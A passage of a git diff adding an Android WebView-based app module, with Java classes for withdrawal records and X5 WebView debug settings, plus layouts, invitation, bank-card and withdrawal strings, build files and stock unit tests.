com.web.base; + +import java.io.Serializable; +import java.util.List; + +/** + * 提现记录 + */ +public class WithDrawListInfo implements Serializable { + + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + class WithDrawInfo{ + + private String amount; + private String balance; + private String bankName; + private String createTime; + private String name; + + public String getAmount() { + return amount; + } + + public void setAmount(String amount) { + this.amount = amount; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + } + +} diff --git a/base_no_music/src/main/java/com/web/base/X5ConfigHelper.java b/base_no_music/src/main/java/com/web/base/X5ConfigHelper.java new file mode 100644 index 0000000..8337b89 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/X5ConfigHelper.java @@ -0,0 +1,52 @@ +package com.web.base; + +import com.tencent.smtt.sdk.WebView; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/10/27 14:45 + * 用途 + * ********************** + */ +public class X5ConfigHelper { + + public static void enableDebugMode(WebView webView) { + try { + // 获取X5内核的WebViewCore + Class webViewClass = webView.getClass(); + Field mWebViewCoreField = webViewClass.getDeclaredField("mWebViewCore"); + mWebViewCoreField.setAccessible(true); + Object webViewCore = mWebViewCoreField.get(webView); + + if (webViewCore != null) { + // 启用调试 + Class webViewCoreClass = webViewCore.getClass(); + Method setWebContentsDebuggingEnabled = + webViewCoreClass.getMethod("setWebContentsDebuggingEnabled", boolean.class); + setWebContentsDebuggingEnabled.invoke(webViewCore, true); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void enableNetworkLogging() { + // 设置X5内核的网络调试开关 + java.lang.System.setProperty("x5.log.network", "true"); + java.lang.System.setProperty("x5.debug", "true"); + + // 尝试启用X5的远程调试 + try { + Class x5CoreClass = Class.forName("com.tencent.smtt.sdk.QbSdk"); + Method setTbsDebugEnabled = x5CoreClass.getMethod("setTbsDebugEnabled", boolean.class); + setTbsDebugEnabled.invoke(null, true); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/base_no_music/src/main/res/drawable-anydpi/ic_action_back.xml b/base_no_music/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_no_music/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_no_music/src/main/res/drawable-hdpi/ic_action_back.png b/base_no_music/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_no_music/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_no_music/src/main/res/drawable-mdpi/ic_action_back.png b/base_no_music/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_no_music/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_no_music/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_no_music/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_no_music/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable-xhdpi/ic_action_back.png b/base_no_music/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_no_music/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_no_music/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_no_music/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_no_music/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_no_music/src/main/res/drawable/ic_launcher_background.xml b/base_no_music/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_no_music/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/drawable/input_bg.xml b/base_no_music/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_no_music/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/drawable/pass_word_bg.xml b/base_no_music/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_no_music/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/drawable/pass_word_bg1.xml b/base_no_music/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_no_music/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/pass_word_bg2.xml b/base_no_music/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_no_music/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/shape_btn_bg.xml b/base_no_music/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_no_music/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/shape_dialog_bg2.xml b/base_no_music/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_no_music/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/shape_dialog_bg3.xml b/base_no_music/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_no_music/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/shape_dialog_bg_new.xml b/base_no_music/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_no_music/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/drawable/shape_notify_typebg.xml b/base_no_music/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_no_music/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/activity_main.xml b/base_no_music/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/activity_main2.xml b/base_no_music/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..f5e09aa --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_main2.xml @@ -0,0 +1,423 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/layout/activity_main3.xml b/base_no_music/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..6385b31 --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/layout/activity_notifydetails.xml b/base_no_music/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..bf79f59 --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/layout/activity_notifylist.xml b/base_no_music/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..fe0904a --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/layout/activity_start.xml b/base_no_music/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/activity_webview.xml b/base_no_music/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..b229360 --- /dev/null +++ b/base_no_music/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_no_music/src/main/res/layout/dialog_action_bankinfo.xml b/base_no_music/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/dialog_action_confirm.xml b/base_no_music/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/dialog_action_invite.xml b/base_no_music/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/dialog_action_invite_records.xml b/base_no_music/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/dialog_action_withdrawapply.xml b/base_no_music/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/dialog_select_action.xml b/base_no_music/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/base_no_music/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/item_invite_records.xml b/base_no_music/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/base_no_music/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/item_notify_list.xml b/base_no_music/src/main/res/layout/item_notify_list.xml new file mode 100644 index 0000000..11ebdab --- /dev/null +++ b/base_no_music/src/main/res/layout/item_notify_list.xml @@ -0,0 +1,163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/layout/item_withdraw_records.xml b/base_no_music/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/base_no_music/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_no_music/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/mipmap-hdpi/ic_empty.png b/base_no_music/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_no_music/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_no_music/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_close.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_email.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_email1.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_link.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_menu.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_tel.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_no_music/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_no_music/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_no_music/src/main/res/mipmap-xxhdpi/app_logo.png b/base_no_music/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_no_music/src/main/res/mipmap-xxhdpi/look_img.png b/base_no_music/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_no_music/src/main/res/mipmap-xxhdpi/share_img.png b/base_no_music/src/main/res/mipmap-xxhdpi/share_img.png new file mode 100644 index 0000000..203b4b7 Binary files /dev/null and b/base_no_music/src/main/res/mipmap-xxhdpi/share_img.png differ diff --git a/base_no_music/src/main/res/values-en/strings.xml b/base_no_music/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..95006cd --- /dev/null +++ b/base_no_music/src/main/res/values-en/strings.xml @@ -0,0 +1,53 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_no_music/src/main/res/values-night/themes.xml b/base_no_music/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_no_music/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/values/colors.xml b/base_no_music/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_no_music/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_no_music/src/main/res/values/strings.xml b/base_no_music/src/main/res/values/strings.xml new file mode 100644 index 0000000..d609113 --- /dev/null +++ b/base_no_music/src/main/res/values/strings.xml @@ -0,0 +1,75 @@ + + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/values/themes.xml b/base_no_music/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_no_music/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/xml/app_updater_paths.xml b/base_no_music/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_no_music/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/xml/network_security_config.xml b/base_no_music/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_no_music/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_no_music/src/main/res/xml/provider_paths.xml b/base_no_music/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_no_music/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no_music/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_no_music/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_no_music/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_sg/.gitignore b/base_sg/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_sg/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_sg/build.gradle b/base_sg/build.gradle new file mode 100644 index 0000000..0230086 --- /dev/null +++ b/base_sg/build.gradle @@ -0,0 +1,53 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + api files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_sg/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_sg/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/base_sg/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_sg/proguard-rules.pro b/base_sg/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_sg/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_sg/release/output-metadata.json b/base_sg/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_sg/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_sg/release/testweb.apk b/base_sg/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_sg/release/testweb.apk differ diff --git a/base_sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_sg/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_sg/src/main/AndroidManifest.xml b/base_sg/src/main/AndroidManifest.xml new file mode 100644 index 0000000..df1c588 --- /dev/null +++ b/base_sg/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/java/com/web/base/ActionBankInfoDialog.java b/base_sg/src/main/java/com/web/base/ActionBankInfoDialog.java new file mode 100644 index 0000000..de6fa06 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -0,0 